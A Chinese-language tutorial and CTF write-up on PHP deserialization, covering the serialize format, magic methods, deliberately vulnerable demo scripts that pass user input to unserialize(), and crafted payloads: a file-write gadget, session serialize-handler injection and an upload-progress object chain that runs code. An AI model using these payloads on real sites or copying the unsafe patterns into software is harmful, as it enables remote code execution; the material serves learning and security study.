php序列化


1. 基礎

1.1 什么是序列化

序列化是對象串行化,對象是一種在內存中存儲的數據類型,壽命是隨生成該對象的程序的終止而終止,為了持久使用對象的狀態,將其通過serialize()函數進行序列化為一行字符串保存為文件,使用時再用unserialize()反序列化為對象

序列化后的格式:
布爾型

b:value
b:0 //false
b:1 //true

整數型

i:value
i:1
i:-1

字符型

s:length:"value";
s:4:"aaaa";

NULL型

N;

數組

a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}

對象

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

1.2 理解php對象常見魔術方法

當對象被創建的時候調用:
__construct
當對象被銷毀的時候調用:
__destruct
當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷也會觸發):
__toString
序列化對象之前就調用此方法(其返回需要是一個數組):
__sleep
反序列化恢復對象之前就調用此方法:
__wakeup
當調用對象中不存在的方法會自動調用此方法L
__call

ex1:

<?php
class test{
    public $varr1="abc";
	public $varr2="123";
    public function echoP(){
        echo $this->varr1."<br>";
    }
    public function __construct(){
        echo "__construct<br>";
    }
    public function __destruct(){
        echo "__destruct<br>";
    }
    public function __toString(){
        return "__toString<br>";
    }
	public function __sleep(){
		echo "__sleep<br>";
		return array('varr1','varr2');
	}
    public function __wakeup(){
		echo "__wakeup<br>";
	}
}
//實例化一個對象,調用了construct方法,輸出了__construct
$obj = new test();
//調用echoP方法,輸出了abc
$obj->echoP();
//被當字符串輸出,調用了__toString方法,輸出了__toString
echo $obj;
//序列化對象,調用__sleep方法,輸出了__sleep
$s = serialize($obj);
//輸出序列化后的字符串,O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s;
//反序列化調用__wakeup方法,輸出了__wakeup
//此時的echo又是相當於將對象字符串輸出,於是又調用了__toString
echo unserialize($s);
//腳本結束,即對象將被銷毀,調用__destruct,其中還有一次是反序列化恢復的對象,所以這里是輸出兩次__destruct
?>

1.3 簡單demo漏洞利用

ex2:

<?php
class syclover{
		var $member;
		var $filename;
		function __wakeup(){
			$this->save($this->filename,$this->member);
		}
		public function save($filename,$data){
			file_put_contents($filename,$data);
		}
}
unserialize($_GET['a']);
?>

url(生成一個文件):

http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}

2. php_session序列化及反序列化問題

2.1 簡介

處理器 對應的存儲格式
php 鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值
php_binary 鍵名的長度對應的 ASCII 字符 + 鍵名 + 經過 serialize() 函數反序列處理的值
php_serialize
(php>=5.5.4)
經過 serialize() 函數反序列處理的數組

php提供session.serialize_handler "php" PHP_INI_ALL可以來設置以上的處理器

測試的時候php版本一定要大於5.5.4(具體版本未測試,不然session寫不進文件)

當存儲是php_serialize處理,然后調用時php去處理
如果這時候注入的數據是a=|O:4:"test":0:{}
那么session中的內容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根據解釋,其中a:1:{s:1:"a";s:16:"在經過php解析后是被看成鍵名,后面就是一個實例化test對象的注入

ex3:

1. php.ini先設置session.serialize_handler為php_serialize
2. http://192.168.65.133/other/serialize/2.php?a=|O:4:"test":0:{}
3. 刪掉注釋再次訪問
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

2.2 實際利用

  1. session.auto_start=On
Q:session.auto_start參數會在腳本執行前會自動注冊Session會話,所以在腳本中設置的php.ini中(序列化處理器\session)相關參數是無效的。
A:先銷毀注冊的session,然后設置處理器,再調用session_start()注冊session

先將php中session.serialize_handler設置為php
ex4:

<?php
if (ini_get('session.auto_start')) {
    session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

流程:

1、提交鏈接:foo1.php?a=|O:8:"stdClass":0:{}
其中session數據是:a:1:{s:1:"a";s:20:"|O:8:"stdClass":0:{}";}
2、第二次訪問時,php會先按php.ini里設置的序列化處理器反序列化存儲的數據(所以只能注入一些php內置類)
  1. session.auto_start=Off
    當兩個腳本的序列化處理器不同就會有問題出現
    ex5:
    foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];

foo2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi;
    }
}

構造好鏈接:

192.168.65.133/other/serialize/foo1.php?a=|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}

然后訪問foo2.php,就會執行代碼,輸出hilemon

2.3 安恆ctf_web3

本題是根據2.2中的session.auto_start=Off出的,本地環境搭建時記得設置一下php.ini

session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=0ff

當PHP_SESSION_UPLOAD_PROGRESS開時,upload一個文件,文件名會在session里面出現
詳細參考:https://bugs.php.net/bug.php?id=71101

<form action="http://lemon.com/phpinfo.php" method="post"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>

最后構造filename為

|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}

再次訪問index.php就可以看到執行了var_dump(1)的代碼。
當時很疑惑的一個問題是foo2中的__toString是如何調用的

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>這是foo2的析構函數<br>";
        }
}
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>這是foo1的析構函數<br>";
        }
}

看到foo1中的file_exists函數,它會講對象轉換為字符串,然后判斷這個字符串(文件)是不是存在,所以有進行字符串的轉化這一步,導致toString的調用(感謝p師傅的教導)
代碼下載

3. 總結

本想繼續研究一下一些cve方面的序列化漏洞,無奈現在正是忙其他事的時候。
有很多關於序列化的黑魔法:
https://github.com/80vul/phpcodz
以及p師傅的Joomla遠程代碼執行漏洞分析
http://drops.wooyun.org/papers/11330
都是需要好好學習一波的文章。

4. 本文學習的參考鏈接

http://drops.wooyun.org/papers/4820
http://drops.wooyun.org/tips/3909


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM